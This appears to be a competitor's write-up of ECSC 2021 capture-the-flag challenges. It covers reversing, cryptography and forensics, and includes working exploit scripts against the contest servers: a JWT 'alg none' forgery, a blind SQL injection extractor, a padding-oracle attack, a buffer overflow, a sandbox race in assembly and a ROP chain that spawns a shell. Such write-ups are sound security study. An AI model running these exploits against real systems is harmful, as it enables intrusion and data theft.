Find the flag by joining the CTF's Discord server.
The description makes it sound easy. However, that is a red herring. After some
false starts, I solved it by using mitmproxy
's scripting abilities.
First, create a separate Firefox profile by going to about:profiles
and
clicking on "Create a New Profile". This will make the new profile the default,
you'll probably want to click "Set as default profile" on your main profile.
Then, fire up the mitmproxy
profile by clicking "Launch profile in new
browser".
At this point, if we start mitmdump
, it will helpfully tell us it is listening
on http://*:8080
. Thus that is the value we need to enter in Firefox's proxy
setup:
Lastly, we need to set up the SSL certificate. To do this, we need to go to
http://mitm.it
and download it, and then follow the instructions to add it to
Firefox's certificate store:
While the invite link is well-hidden, we can automate the searching to find it without much effort. I used the following script:
from mitmproxy import http
import re
RE = re.compile(r'https?://discord[^"<]*')
def response(flow):
for link in RE.findall(flow.response.text):
print('http', link)
We can run it with mitmdump -q -s find_link.py
. Then, when we visit
https://hack.cert.pl/challenge/ecsc21-sanity-check
, the link gets printed out:
http https://discord.gg/D825Xe8k
http https://discord.gg/D825Xe8k
Naively, we would now switch the regex to the flag format and follow this invite:
RE = re.compile(r'ecsc21{[^}]*}')
Unfortunately, this does not work. As it turns out, Discord uses an additional
security measure when transferring this flag. Namely, a separate WebSocket
connection is created to transfer the flag outside of the HTTP stream we are
monitoring. Moreover, the messages transferred in the server -> client
direction are compressed with zlib
, with a compression context shared between
messages. We can decode this with the following code:
def websocket_message(flow):
global buffer, inflator
if len(flow.messages) == 1:
print('Reset!')
buffer = bytearray()
inflator = zlib.decompressobj()
if flow.messages[-1].from_client:
return
msg = flow.messages[-1].content
if type(msg) is str:
msg = msg.encode()
buffer.extend(msg)
if len(msg) < 4 or msg[-4:] != ZLIB_SUFFIX:
return
msg = inflator.decompress(buffer)
buffer = bytearray()
#print(msg)
for link in RE.findall(msg.decode()):
print('websocket', link)
This finds the flag:
Reset!
websocket ecsc21{welcome-to-ecsc-2021!-have-fun-and-good-luck-:)}
By inspecting the source, we see that the version hash shown is being fetched
directly from .git
. Thus we can use the git-dumper
(available on PyPI) to
fetch the source code. This then reveals that the secret key used for session
storage is b'\xcc'*16
. We can use it to forge an admin's session cookie by
running the flask app locally, and modifying it to accept any password.
The JWT algorithm none
is accepted:
import requests
import base64
import json
def decode(x):
k = (4 - len(x)) % 4
x += k * '='
return base64.urlsafe_b64decode(x)
def encode(x):
return base64.urlsafe_b64encode(x).decode().rstrip('=')
URL = 'https://restful.ecsc21.hack.cert.pl/'
r = requests.post(URL + 'login',
{'grant_type': 'password',
'username': 'niedzejkob',
'password': ':duck001:'},
headers={
'accept': 'application/json',
})
token = r.json()['access_token']
header = decode(token.split('.')[0])
data = json.loads(decode(token.split('.')[1]))
data['sub'] = 'admin'
print(header)
print(data)
header = b'{"alg":"none","typ":"JWT"}'
token = '.'.join([encode(header), encode(json.dumps(data).encode()), ''])
print(token)
r = requests.get(URL + 'me',
headers={
'accept': 'application/json',
'authorization': 'bearer ' + token,
})
print(r.json())
As the name unsuccessfully tries to suggest, this is an SQL injection challenge.
The vulnerable parameter is the student ID in
https://backtoschool.ecsc21.hack.cert.pl/student/
. With standard database
fingerprinting payloads, we can identify the backend as SQLite. I didn't think
think to use UNION
to extract values directly, so I performed this injection
blind, by only checking the status code of responses.
After manually extracting the schema from the sqlite_master
table, I extracted
the flag as follows:
import requests
import string
def sql(x):
r=requests.get('https://backtoschool.ecsc21.hack.cert.pl/student/' + requests.utils.quote(x))
return r.status_code
def check(x):
s = '8 and (select count(1) from message where text glob "' + x + '*")>0'
return sql(s) == 200
alphabet = string.ascii_uppercase + string.ascii_lowercase + string.digits + '-_}'
beginning = 'ecsc21{'
while not beginning.endswith('}'):
options = alphabet
assert check(beginning + '[' + options + ']')
while len(options) > 1:
mid = len(options)//2
if check(beginning + '[' + options[:mid] + ']'):
options = options[:mid]
else:
options = options[mid:]
beginning += options
print(beginning)
We can unzip the cap
file to get the MainApplet.class
file. An online
decompiler reveals that the response is calculated with sha1
, by concatenating
the pin
, the APPLET_SECRET
constant, and the challenge
bytes. Based on the
example given on the "Instructions" page, we can bruteforce the PIN and forge a
response of our own:
import hashlib
applet_secret = bytes([x%256 for x in [-54, -2, -70, -66, 33, 55, 33, 55]])
challenge = bytes.fromhex('0a9db77a99bdfd3e')
example = bytes.fromhex('d84b58cd5e084cdc')
expected = bytes.fromhex('d154a9535617f4e1')
parts = [b'69', b'42', b'420', b'1337', b'31337']
def pins(length):
if length == 0:
return [b'']
if length < 0:
return []
options = []
for first_part in parts:
rest = length - len(first_part)
options += [first_part + x for x in pins(rest)]
return options
for pin in pins(8):
response = hashlib.sha1(pin + applet_secret + example).digest()[:8]
if response == expected:
break
else:
raise hell
print(pin)
response = hashlib.sha1(pin + applet_secret + challenge).digest()[:8]
print(response.hex())
Reversing the interpreter is straightforward. There is a bug, where the instruction index is compared with the size of the memory array in bytes, and not in words, and thus the interpreter runs through a bunch of nulls at the end. However, this does not affect the result of the computation.
By writing a simple disassembler in Python, we learn that the only thing the jumps are used for is implementing a lookup table. Specialcasing this structure lets us throw Z3 at the problem:
from pwn import *
from z3 import *
data = open('enc.add', 'rb').read()
def get(ip):
ip *= 4
instr = u32(data[ip:ip+4])
opcode = instr >> 30
a = (instr >> 20) & 0x3ff
b = (instr >> 10) & 0x3ff
c = instr & 0x3ff
return opcode, a, b, c
def parse_lut(ip, v):
targets = []
for _ in range(256):
opcode, a, b, c = get(ip)
assert opcode == 2 and a == v
targets.append((b<<10) + c)
ip += 1
opcode, a, b, c = get(ip)
assert opcode == 0 and a == v and b == v and c == 0xff
ip += 1
values = []
endpoint = None
for ip in targets:
opcode, a, b, c = get(ip)
assert opcode == 1 and a == v and b == 0 and c < 0x100
values.append(c)
ip += 1
opcode, a, b, c = get(ip)
assert opcode == 2 and a == 0
target = (b<<10) + c
if endpoint != None:
assert target == endpoint
else:
endpoint = target
return values, endpoint
def disasm():
ip = 0x11e
inverses = []
while ip < len(data)//4:
next_ip = ip + 1
opcode, a, b, c = get(ip)
if opcode == 0:
s = '[%03x] = [%03x] + [%03x]' % (a,b,c)
elif opcode == 1:
s = '[%03x] = [%03x] ^ [%03x]' % (a,b,c)
elif opcode == 2:
values, next_ip = parse_lut(ip, a)
s = 'LUT %03x: %s' % (a, bytes(values).hex())
elif opcode == 3:
s = 'if [%03x] == 0 then [%03x] = in else out [%03x]' % (b, a, a)
else:
raise hell
print('%05x: %s' % (ip, s))
ip = next_ip
def run(inp):
m = [0] * 512
m[1] = 1
ip = 0
output = b''
while ip < len(data)//4:
opcode, a, b, c = get(ip)
if opcode == 0:
m[a] = (m[b] + m[c]) % 256
elif opcode == 1:
m[a] = m[b] ^ m[c]
elif opcode == 2:
if m[a] == 0:
ip = (b<<10)+c - 1
else:
if m[b] == 0:
m[a] = inp[0]
inp = inp[1:]
else:
output += bytes([m[a]])
ip += 1
return output
def symbolic(inp):
m = [BitVecVal(0,8)] * 512
m[1] = BitVecVal(1,8)
ip = 0
output = []
while ip < len(data)//4:
next_ip = ip+1
opcode, a, b, c = get(ip)
if opcode == 0:
m[a] = m[b] + m[c]
elif opcode == 1:
m[a] = m[b] ^ m[c]
elif opcode == 2:
values, next_ip = parse_lut(ip, a)
acc = BitVecVal(0,8)
for v in range(256):
acc = If(m[a] == v, values[v], acc)
m[a] = acc
else:
if m[b] == 0:
m[a] = inp[0]
inp = inp[1:]
else:
output += [m[a]]
ip = next_ip
return output
#run()
#disasm()
part2 = xor(run(b'abcdefghijklmnop' + bytes(16)), unhex('f03d4264a07c25a58cd268843417432c'))
print(part2)
part1 = [BitVec('x%d'%i, 8) for i in range(16)]
output = symbolic(part1 + list(part2))
expected = unhex('250a4aa7a937f6a9c33d59d686cc271a')
s = Solver()
for o,e in zip(output, expected):
s.add(o == e)
print(s.check())
m = s.model()
part1 = ''.join(chr(m[x].as_long()) for x in part1)
print(part1 + part2.decode())
There is a red herring main
, which pretends to XOR two arrays together and
compare the result. However, one of the functions in init_array
repoints one
of the call targets, which changes the behavior. After reversing some of the
checking function, I determined that the correct flag bytes are computed one by
one by the function at 400b5a
. I thus placed a breakpoint after its call, and
scripted gdb to print the return value:
(gdb) b *0x400d19
Breakpoint 4 at 0x400d19
(gdb) commands
Type commands for breakpoint(s) 4, one per line.
End with a line saying just "end".
>silent
>p/x $eax
>continue
>end
Some search and replace goes a long way:
package main
import (
"bufio"
"bytes"
"encoding/binary"
"fmt"
"io"
"os"
)
// ----------------------------------------
type state struct {
sz uint
mem []uint8
instrs [][]uint64
ip uint
running bool
}
func make_state(size uint) *state {
st := new(state)
st.sz = size
st.mem = make([]uint8, size)
return st
}
func (st *state) run() error {
st.ip = 0
st.running = true
clock := 0
for st.running {
err := st.do_instr()
clock += 1
if clock > 10000 {
return fmt.Errorf("%#v", clock)
}
if err != nil {
return err
}
}
return nil
}
func RD(x []byte) uint64 {
return binary.LittleEndian.Uint64(x)
}
func WR(x []byte, val uint64) {
binary.LittleEndian.PutUint64(x, val)
}
func (st *state) do_instr() error {
if st.ip >= uint(len(st.instrs)) {
return fmt.Errorf("ip 0x%x >= len(instrs) 0x%x", st.ip, len(st.instrs))
}
if st.ip == 0x11 {
fmt.Printf("@11: [8a] = 0x%x\n", st.mem[0x8a])
}
if st.ip == 0x19 {
fmt.Printf("@19: [0] = 0x%x\n", RD(st.mem[0x0:]))
}
instr := st.instrs[st.ip]
switch instr[0] {
case 1: // mov qword[a], b
var address uint = uint(instr[1])
var value uint64 = instr[2]
if address >= st.sz {
return fmt.Errorf("address 0x%x >= sz 0x%x", address, st.sz)
}
WR(st.mem[address:], value)
st.ip += 1
case 2: // mov qword[a], [b]
var dst uint = uint(instr[1])
var src uint = uint(instr[2])
if dst >= st.sz {
return fmt.Errorf("dst 0x%x >= sz 0x%x", dst, st.sz)
}
if src >= st.sz {
return fmt.Errorf("src 0x%x >= sz 0x%x", src, st.sz)
}
WR(st.mem[dst:], RD(st.mem[src:]))
st.ip += 1
case 14: // mov byte[a], [b]
var ekkknn uint = uint(instr[1])
var ldjjnhn uint = uint(instr[2])
if ekkknn >= st.sz {
return fmt.Errorf("dst 0x%x >= sz 0x%x", ekkknn, st.sz)
}
if ldjjnhn >= st.sz {
return fmt.Errorf("src 0x%x >= sz 0x%x", ldjjnhn, st.sz)
}
st.mem[ekkknn] = st.mem[ldjjnhn]
st.ip += 1
case 3: // add [a], b
var ekjknnn uint = uint(instr[1])
var pkksnn uint64 = instr[2]
if ekjknnn >= st.sz {
return fmt.Errorf("address 0x%x >= sz 0x%x", ekjknnn, st.sz)
}
WR(st.mem[ekjknnn:], pkksnn+ RD(st.mem[ekjknnn:]))
st.ip += 1
case 4: // sub [a], b
var oopjsn uint = uint(instr[1])
var ljbbbb uint64 = instr[2]
if oopjsn >= st.sz {
return fmt.Errorf("address 0x%x >= sz 0x%x", oopjsn, st.sz)
}
WR(st.mem[oopjsn:], RD(st.mem[oopjsn:]) -ljbbbb)
st.ip += 1
case 5: // sub [a], [b]
var pkjdjn uint = uint(instr[1])
var sessd uint = uint(instr[2])
if pkjdjn >= st.sz {
return fmt.Errorf("dst 0x%x >= sz 0x%x", pkjdjn, st.sz)
}
if sessd >= st.sz {
return fmt.Errorf("src 0x%x >= sz 0x%x", sessd, st.sz)
}
WR(st.mem[pkjdjn:], RD(st.mem[pkjdjn:]) - RD(st.mem[sessd:]))
st.ip += 1
case 6: // mul [a], b
var dkmmdnn uint = uint(instr[1])
var ekksuu uint64 = instr[2]
if dkmmdnn >= st.sz {
return fmt.Errorf("address 0x%x >= sz 0x%x", dkmmdnn, st.sz)
}
WR(st.mem[dkmmdnn:], RD(st.mem[dkmmdnn:]) *ekksuu)
st.ip += 1
case 7: // mul [a], [b]
var dst uint = uint(instr[1])
var src uint = uint(instr[2])
if dst >= st.sz {
return fmt.Errorf("dst 0x%x >= sz 0x%x", dst, st.sz)
}
if src >= st.sz {
return fmt.Errorf("src 0x%x >= sz 0x%x", src, st.sz)
}
WR(st.mem[dst:], RD(st.mem[dst:]) * RD(st.mem[src:]))
st.ip += 1
case 8: // shl [a], b
var address uint = uint(instr[1])
var nbits uint = uint(instr[2])
if address >= st.sz {
return fmt.Errorf("address 0x%x >= sz 0x%x", address, st.sz)
}
WR(st.mem[address:], RD(st.mem[address:]) << nbits)
st.ip += 1
case 9: // shr [a], b
var address uint = uint(instr[1])
var nbits uint = uint(instr[2])
if address >= st.sz {
return fmt.Errorf("address 0x%x >= sz 0x%x", address, st.sz)
}
WR(st.mem[address:], RD(st.mem[address:]) >>nbits)
st.ip += 1
case 10: // xorb [a], [b]
var dst uint = uint(instr[1])
var src uint = uint(instr[2])
if dst >= st.sz {
return fmt.Errorf("dst 0x%x >= sz 0x%x", dst, st.sz)
}
if src >= st.sz {
return fmt.Errorf("src 0x%x >= sz 0x%x", src, st.sz)
}
st.mem[dst] ^= st.mem[src]
st.ip += 1
case 11: // xorb [[a]], [[b]]
var dst_addr_ptr uint = uint(instr[1])
var src_addr_ptr uint = uint(instr[2])
if dst_addr_ptr >= st.sz {
return fmt.Errorf("dst_addr_ptr 0x%x >= sz 0x%x", dst_addr_ptr, st.sz)
}
if src_addr_ptr >= st.sz {
return fmt.Errorf("src_addr_ptr 0x%x >= sz 0x%x", src_addr_ptr, st.sz)
}
var dst uint = uint(RD(st.mem[dst_addr_ptr:]))
var src uint = uint(RD(st.mem[src_addr_ptr:]))
if dst >= st.sz {
return fmt.Errorf("dst 0x%x >= sz 0x%x", dst, st.sz)
}
if src >= st.sz {
return fmt.Errorf("src 0x%x >= sz 0x%x", src, st.sz)
}
st.mem[dst] ^= st.mem[src]
st.ip += 1
case 12: // jz [a], b
var cc uint = uint(instr[1])
var target uint = uint(instr[2])
if cc >= st.sz {
return fmt.Errorf("address 0x%x >= sz 0x%x", cc, st.sz)
}
if st.mem[cc] == 0 {
if target >= uint(len(st.instrs)) {
return fmt.Errorf("target 0x%x >= len(instrs) 0x%x", target, len(st.instrs))
}
st.ip = target
} else {
st.ip += 1
}
case 13: // hlt
st.running = false
case 16: // addb [a], b
var dkksnss uint = uint(instr[1])
var eiushhgj uint8 = uint8(instr[2])
if dkksnss >= st.sz {
return fmt.Errorf("address 0x%x >= sz 0x%x", dkksnss, st.sz)
}
st.mem[dkksnss] += eiushhgj
st.ip += 1
case 15: // subb [a], [b]
var eoskwllw uint = uint(instr[1])
var elsmmswkkeeeeek uint = uint(instr[2])
if eoskwllw >= st.sz {
return fmt.Errorf("dst 0x%x >= sz 0x%x", eoskwllw, st.sz)
}
if elsmmswkkeeeeek >= st.sz {
return fmt.Errorf("src 0x%x >= sz 0x%x", elsmmswkkeeeeek, st.sz)
}
st.mem[eoskwllw] -= st.mem[elsmmswkkeeeeek]
st.ip += 1
default:
return fmt.Errorf(" 0x%x", instr[0])
}
return nil
}
// ----------------------------------------
func main() {
reader := bufio.NewReader(os.Stdin)
buf := make([]byte, 30)
_, err := io.ReadFull(reader, buf)
buf = append(buf, '\x00')
buf = append(buf, '\x00')
if err == nil {
check(buf)
}
}
func check(input []byte) {
st := make_state(0x100)
check_error := func (err error) {
if err != nil {
panic(err)
}
}
st.instrs = [][]uint64 {
[]uint64{0x1, 0x80, 0x4141414141414141},
[]uint64{0x1, 0x88, 0x4141414141414141},
[]uint64{0x1, 0x90, 0x4141414141414141},
[]uint64{0x1, 0x98, 0x414141414141},
[]uint64{0x1, 0x0, 0x1e},
[]uint64{0x1, 0x8, 0x80},
[]uint64{0x1, 0x18, 0x10},
[]uint64{0xb, 0x18, 0x18},
[]uint64{0xb, 0x18, 0x8},
[]uint64{0xf, 0x10, 0x8},
[]uint64{0x10, 0x10, 0x80},
[]uint64{0xb, 0x8, 0x8},
[]uint64{0xb, 0x8, 0x18},
[]uint64{0x3, 0x8, 0x1},
[]uint64{0x4, 0x0, 0x1},
[]uint64{0xc, 0x0, 0x11},
[]uint64{0xc, 0x28, 0x7},
[]uint64{0x1, 0x0, 0xecc52021},
[]uint64{0xe, 0x30, 0x8a},
[]uint64{0x5, 0x0, 0x30},
[]uint64{0x1, 0x8, 0x1d},
[]uint64{0x6, 0x0, 0x19660d},
[]uint64{0x3, 0x0, 0x3c6ef35f},
[]uint64{0x8, 0x0, 0x20},
[]uint64{0x9, 0x0, 0x20},
[]uint64{0x2, 0x10, 0x0},
[]uint64{0x2, 0x18, 0x8},
[]uint64{0x3, 0x18, 0x1},
[]uint64{0x7, 0x10, 0x18},
[]uint64{0x9, 0x10, 0x20},
[]uint64{0x2, 0x20, 0x8},
[]uint64{0x5, 0x20, 0x10},
[]uint64{0xc, 0x20, 0x27},
[]uint64{0x3, 0x8, 0x80},
[]uint64{0x3, 0x10, 0x80},
[]uint64{0xb, 0x8, 0x10},
[]uint64{0xb, 0x10, 0x8},
[]uint64{0xb, 0x8, 0x10},
[]uint64{0x4, 0x8, 0x80},
[]uint64{0x4, 0x8, 0x1},
[]uint64{0xc, 0x8, 0x2a},
[]uint64{0xc, 0x28, 0x15},
[]uint64{0x1, 0x0, 0x1e},
[]uint64{0x1, 0x8, 0x80},
[]uint64{0x1, 0x10, 0x18},
[]uint64{0x1, 0x18, 0x7a7978},
[]uint64{0xb, 0x8, 0x10},
[]uint64{0x3, 0x8, 0x1},
[]uint64{0x4, 0x0, 0x1},
[]uint64{0x4, 0x10, 0x1a},
[]uint64{0xc, 0x10, 0x35},
[]uint64{0x3, 0x10, 0x1b},
[]uint64{0xc, 0x28, 0x36},
[]uint64{0x1, 0x10, 0x18},
[]uint64{0xc, 0x0, 0x38},
[]uint64{0xc, 0x28, 0x2e},
[]uint64{0x1, 0x0, 0x7},
[]uint64{0x1, 0x8, 0x80},
[]uint64{0x1, 0x10, 0x82},
[]uint64{0xb, 0x8, 0x10},
[]uint64{0xb, 0x10, 0x8},
[]uint64{0xb, 0x8, 0x10},
[]uint64{0x3, 0x8, 0x1},
[]uint64{0x3, 0x10, 0x1},
[]uint64{0xb, 0x8, 0x10},
[]uint64{0xb, 0x10, 0x8},
[]uint64{0xb, 0x8, 0x10},
[]uint64{0x3, 0x8, 0x3},
[]uint64{0x3, 0x10, 0x3},
[]uint64{0x4, 0x0, 0x1},
[]uint64{0xc, 0x0, 0x48},
[]uint64{0xc, 0x28, 0x3b},
[]uint64{0xd, 0x0, 0x0}}
st.instrs[0][2] = RD(input[0:])
st.instrs[1][2] = RD(input[8:])
st.instrs[2][2] = RD(input[0x10:])
st.instrs[3][2] = RD(input[0x18:])
check_error(st.run())
result := st.mem[0x80:]
trimmed := string(bytes.Trim(result, "\x00"))
if trimmed != "\\\x1d\x1a'8\x19P<[a\x0bTl\r))#7UOWD7faY\x18A\x10 " {
fmt.Printf("%#v\n", trimmed)
os.Exit(1)
} else {
fmt.Printf("%#v\n", string(bytes.Trim(input, "\x00")))
}
}
Like in the other custom interpreter challenge (variety amirite), a short custom script is enough to disassemble this:
instrs = [None,
'mov [%x], %x',
'mov [%x], [%x]',
'add [%x], %x',
'sub [%x], %x',
'sub [%x], [%x]',
'mul [%x], %x',
'mul [%x], [%x]',
'shl [%x], %x',
'shr [%x], %x',
'xorb [%x], [%x]',
'xorb [[%x]], [[%x]]',
'jz [%x], %x',
'hlt // %x %x',
'movb [%x], [%x]',
'subb [%x], [%x]',
'addb [%x], %x']
for i, (op, a, b) in enumerate(prog):
print('%02x: %s' % (i, instrs[op] % (a, b)))
The following script then reverses the steps performed and prints the flag:
from pwn import *
output = b"\\\x1d\x1a'8\x19P<[a\x0bTl\r))#7UOWD7faY\x18A\x10 "
buf = bytearray(output)
def swap(a, b):
buf[a], buf[b] = buf[b], buf[a]
for i in range(7):
swap(4*i,4*i+2)
swap(4*i+1,4*i+3)
buf = xor(buf, b'\x78\x79\x7a'*10)
data = bytes(buf)
for k in range(256):
nums = list(range(30))
seed = 0xecc52021 - k
for i in range(0x1d, 0, -1):
seed = (seed * 0x19660d + 0x3c6ef35f) % 2**32
j = (seed * (i + 1)) >> 32
nums[i], nums[j] = nums[j], nums[i]
prev = bytearray(30)
for i, k in enumerate(nums):
prev[k] = data[i]
buf = prev
for i in range(len(buf)): buf[i] = (buf[i] + i) % 256
buf = bytes(buf)
if buf.startswith(b'ecsc21{'):
print(buf)
For this challenge, I used a demo of the JEB disassembler and Chrome's debugger. This tooling is not great โ JEB can't read the debug symbols embedded in the binary and fails to decompile some functions for no good reason, while the UX of looking up a value in memory using Chrome's debugger is so hideous, I wouldn't be surprised to learn that it is a shitpost that got merged by accident.
In the end, we learn that the flag should consist of eight segments, separated
by -
, where each segment is a 16-bit hexadecimal number. These are then
concatenated, encrypted with a hardcoded AES key, and compared with an expected
result. Decrypting the block thus yields:
ecsc21{3086-8b8f-53cb-c820-635d-deb6-66cc-6fee}
However, many other strings are accepted by the checker, but not the scoreboard, such as
ecsc21{03086-08b8f-053cb-0c820-0635d-0deb6-066cc-06fee}
or
ecsc21{3086-8b8f-53cb-c820-635d-deb6-66cc-6fee-and-they-lived-happily-ever-after}
Despite the name, the protocol is not the 1-wire standard โ while the standard 1-wire encodes the bits in the length of a pulse, here the bits are simply shifted out directly, with a start and stop bit for each byte. I decode this by measuring the state in fixed intervals, and adjusting the cursor when it drifts off too much:
from vcdvcd import VCDVCD
v = VCDVCD('one_wire.vcd')
for signal in v.data.values():
name, = signal.references
if 'serial' in name:
break
def at(T):
X = None
tt = None
for t,x in signal.tv:
if t < T:
X = x
tt = t
else:
return X, tt
bits = [1]
STEP = 8700000
t = 10 ** 5 + STEP
while t < signal.endtime:
Z = at(t)
if Z is not None:
x, tt = Z
delta = t - tt
delta %= STEP
print(delta)
if delta < STEP/4:
t += STEP//2
bits.append(x)
t += STEP
flag = ''
for i in range(0, len(bits), 10):
xx = bits[i+2:i+10]
if xx:
flag += chr(int(''.join(xx[::-1]),2))
print(flag)
We perform a meet-in-the-middle to collide the 6 bytes of state we cannot control by simply choosing the values that get XOR'd into the state:
from spongebob import *
import struct
bob = SpongeBob()
message = b'The hash-slinging slasher'
N = len(message)
message = bob.pad(message)
blk1 = message[:10]
blk2 = message[10:20]
blk3 = message[20:]
bob.absorb(blk1)
st1 = bob.state
bob.absorb(blk2)
st2 = bob.state
bob.absorb(blk3)
st3 = bob.state
assert bob.aes.encrypt(blk1 + b'\x00' * 6) == st1
print(st1.hex())
print(bob.aes.decrypt(st2).hex())
seen = {}
if False:
for n in range(2**24):
attempt = strxor(st2, struct.pack('>I', n) + b'\x00' * 12)
k = bob.aes.decrypt(attempt)[-6:]
seen[k] = n
print(len(seen))
for n in range(2**24):
attempt = struct.pack('>I', n) + b'\x00' * 12
#attempt = blk1 + b'\x00' * 6
k = bob.aes.encrypt(attempt)[-6:]
if k in seen:
print(seen[k], n)
A, B = 3626912, 1077206
blk1 = struct.pack('>I', B) + b'\x00' * 6
delta3 = struct.pack('>I', A) + b'\x00' * 6
have_state = bob.aes.encrypt(blk1 + b'\x00' * 6)
want_state = bob.aes.decrypt(strxor(st2, delta3 + b'\x00' * 6))
blk2 = strxor(have_state, want_state)[:10]
blk3 = strxor(blk3, delta3)
S = (blk1 + blk2 + blk3)[:N]
bob = SpongeBob()
bob.absorb(blk1)
print(bob.state == have_state)
bob.absorb(blk2)
print(bob.state.hex())
print(st2.hex())
bob.absorb(blk3)
print(bob.state.hex())
print(st3.hex())
print(S.hex())
print(SpongeBob().hash(S).hex())
By expressing the padding with algebra, we get a polynomial with the root barely small enough to compute with Coppersmith's. I use this implementation, since the one built into sage is a pain to debug and/or doesn't work.
(e,n1,c1),(e,n2,c2) = inputs
c = CRT(c1,c2,n1,n2)
N = n1*n2
num69 = 124 - 64
pad = bytes_to_long(b'\x69' * num69)
scale = 2**(8*num69)
K = Zmod(N)
P.<x> = K[]
f = (scale * x + pad)**3 - c
f = f.monic()
#rr = f.small_roots(X=2**(8*64))
dd = f.degree()
beta = 1 # b = N
epsilon = beta / 7 # <= beta / 7
mm = ceil(beta**2 / (dd * epsilon)) # optimized value
tt = floor(dd * mm * ((1/beta) - 1)) # optimized value
#XX = ceil(N**((beta**2/dd) - epsilon)) # optimized value
XX = 2**(8*64-1)
rr = coppersmith_howgrave_univariate(f, N, beta, mm, tt, XX)
print(rr)
A standard padding oracle:
from pwn import *
#s = process(['python3', 'sesame.py'])
s = remote('ecsc21.hack.cert.pl', 25737)
s.recvline()
s.recvline()
known = b''
def do_tests(tests):
results = []
for t in tests:
s.sendline(b64e(t + bytes(16)))
for _ in tests:
line = s.recvline()
#print(line)
assert line.startswith(b'>')
results.append(b':(' not in line)
return results
while len(known) < 16:
tests = []
for guess in range(256):
attempt = bytes([guess]) + known
pad = bytes([len(attempt)] * len(attempt))
tests.append(bytes(16 - len(pad)) + xor(attempt, pad))
results = do_tests(tests)
print(results.count(True), 'hits')
assert results.count(True) == 1
byte = results.index(True)
known = bytes([byte]) + known
print(known.hex())
msg = b'gib flag plox'
pad = 16 - len(msg)
pad = bytes([pad]*pad)
s.sendline(b64e(xor(msg + pad, known) + bytes(16)))
s.interactive()
Since the call to AES uses msg->length
, and not copy_size
, the buffer can
be overflown. When we ask to decrypt 5 blocks, the first plaintext block will
become the fifth block of ciphertext. Constructing the right payload is not
difficult with the {encrypt,decrypt}_block
primitives, which cancel out the
CBC applied by the server.
from pwn import *
def do(b, data):
global raw
s = remote('ecsc21.hack.cert.pl', 25738)
s.send(bytes([b, len(data)]) + data)
raw = s.recvall()
return raw[2:]
def encrypt(data):
return do(1, data)
def decrypt(data):
return do(2, data)
def decrypt_block(blk):
return decrypt(bytes(16) + blk)[16:]
zeros_encrypt = encrypt(bytes(16))
def encrypt_block(blk):
return encrypt(bytes(16) + xor(zeros_encrypt, blk))[16:]
zeros_decrypt = decrypt(bytes(16))
second = decrypt_block(zeros_decrypt)
target = p64(0) + p64(0x00005555555553f6)
data = bytes(48) + xor(second, target) + zeros_decrypt
response = decrypt(data)
print(hexdump(response))
Due to a race condition, we can present a different filename to the kernel and
sandbox. As a static C binary gets killed when the startup code tries to brk
,
I wrote my exploit in assembly:
bits 64
section .data
path db "flag.txt",0
welp db "welp"
buf: times 256 db 0
section .text
global _start
SYS_clone equ 56
SYS_exit equ 60
SYS_read equ 0
SYS_write equ 1
SYS_open equ 2
CLONE_VM equ 0x100
O_RDONLY equ 0
_start:
mov rax, SYS_clone
mov rdi, CLONE_VM
mov rsi, 0
mov rdx, 0
mov r10, 0
mov r8, 0
syscall
test rax, rax
jnz .child
mov rax, SYS_open
mov rdi, path
mov rsi, O_RDONLY
xor rdx, rdx
syscall
test rax, rax
js .failed
mov rdi, rax
mov rax, SYS_read
mov rsi, buf
mov rdx, 256
syscall
mov rdx, rax
mov rax, SYS_write
mov rdi, 1
mov rsi, buf
syscall
.exit:
mov rdi, rax
mov rax, SYS_exit
syscall
.failed:
mov rax, SYS_write
mov rdi, 1
mov rsi, welp
mov rdx, 4
syscall
jmp .exit
.child:
xor byte[path], 1
xor byte[path], 1
xor byte[path], 1
xor byte[path], 1
xor byte[path], 1
xor byte[path], 1
xor byte[path], 1
xor byte[path], 1
xor byte[path], 1
xor byte[path], 1
xor byte[path], 1
jmp .child
Because of the screen mode used by the game, attempting to debug it with a traditional breakpoint-based debugger will not work โ it seems that alt-tabbing requires some action by the game process to restore the screen settings. As such, I used Cheat Engine instead. Scanning the memory for the health of the units didn't work, so I found the relevant code by following the messages printed on the bottom of the screen during battle.
Before starting the battle, I searched for the string perish
to find the
format strings used for the messages. Then, I used "find out what accesses this
memory". This puts us deep in the bowels of sprintf
. By using "breakpoint and
trace instructions" with a condition comparing the format string pointer, I
captured a stack frame at that point. A few frames down we find the routine that
handles an attack. In particular, it calls h3demo.exe+0x417b0
to calculate the
damage. I patched that function to always return 0x10000
, which allows to
defeat the guards in one hit.
We need to build a ROP chain out of gadgets in 64K of randomness. Based on the
size, we should expect to find most two-byte pairs in the blob. One of those is
taken by the ret
, so we can only use one-byte instructions. I write copy
shellcode from the stack to the RWX memory allocated for the random data. I use
stosd
to perform the writes. The address can be loaded directly with pop rdi
, but the data cannot, as there is no pop rax
gadget. We do have pop rbx
and xchg eax, ebx
, though. I write the first dword immediately after the
stosd
instruction, and that code then copies the rest:
from pwn import *
context.arch = 'amd64'
context.terminal = ['alacritty', '-e', 'bash', '-c']
#s = process('./easy-peasy')
#s = gdb.debug('./easy-peasy')
s = remote('ecsc21.hack.cert.pl', 25733)
s.recvuntil('u8@')
base = int(s.recvline().strip(), 16)
log.info('Buffer @ 0x%x', base)
with open('random.bin', 'rb') as f:
data = f.read()
def gadget(code):
x = data.index(asm(code))
assert x is not None
return base + x
bootstrap = asm('pop rax \n stosq \n mov rsi, rsp \n movsq \n mov ecx, 12 \n rep movsd')
shellcode = bootstrap + asm(shellcraft.sh())
stosd = gadget('stosd')
rop = cyclic(105) + p64(gadget('pop rdi \n ret')) + \
p64(stosd + 1) + \
p64(gadget('pop rbx \n ret')) + \
p64(u32(shellcode[:4])) + \
p64(gadget('xchg ebx, eax \n ret')) + \
p64(stosd) + shellcode[4:]
print(hexdump(rop))
s.send(rop)
s.interactive()
The challenge is easy to solve with Volatility. First, by listing the processes
we see FLAG.EXE
. We can extract it as a cached file. For a reason I don't
entirely understand, Volatility will output two files, which differ a little.
One of them works when we execute it, though. This binary prints the flag, as
long as we run it in a cmd
session, so that the window doesn't immediately
close โ realizing that this is the case involved some usage of Ghidra...
The PDF file contains two fonts, and the bitflip made the flag contents use the wrong one. This corrupted the flag, as the characters are stored in the font in the order they first occur in the file. By opening the PDF file in Fontforge, we can see this order for both fonts. It seems that there isn't really a way to copy it, but after transcribing it manually, we get the flag:
A = 'In metalypsig,fowrcuzhd.E(")vgX-BbxT'
B = 'A typefacishovrldgn;u,xb.ETXwDmIkRCAG-gBY21{}'
t = 'gincgnmgznagc ngz n itnstyft naolr'
u = ''
for c in t:
u += B[A.index(c)]
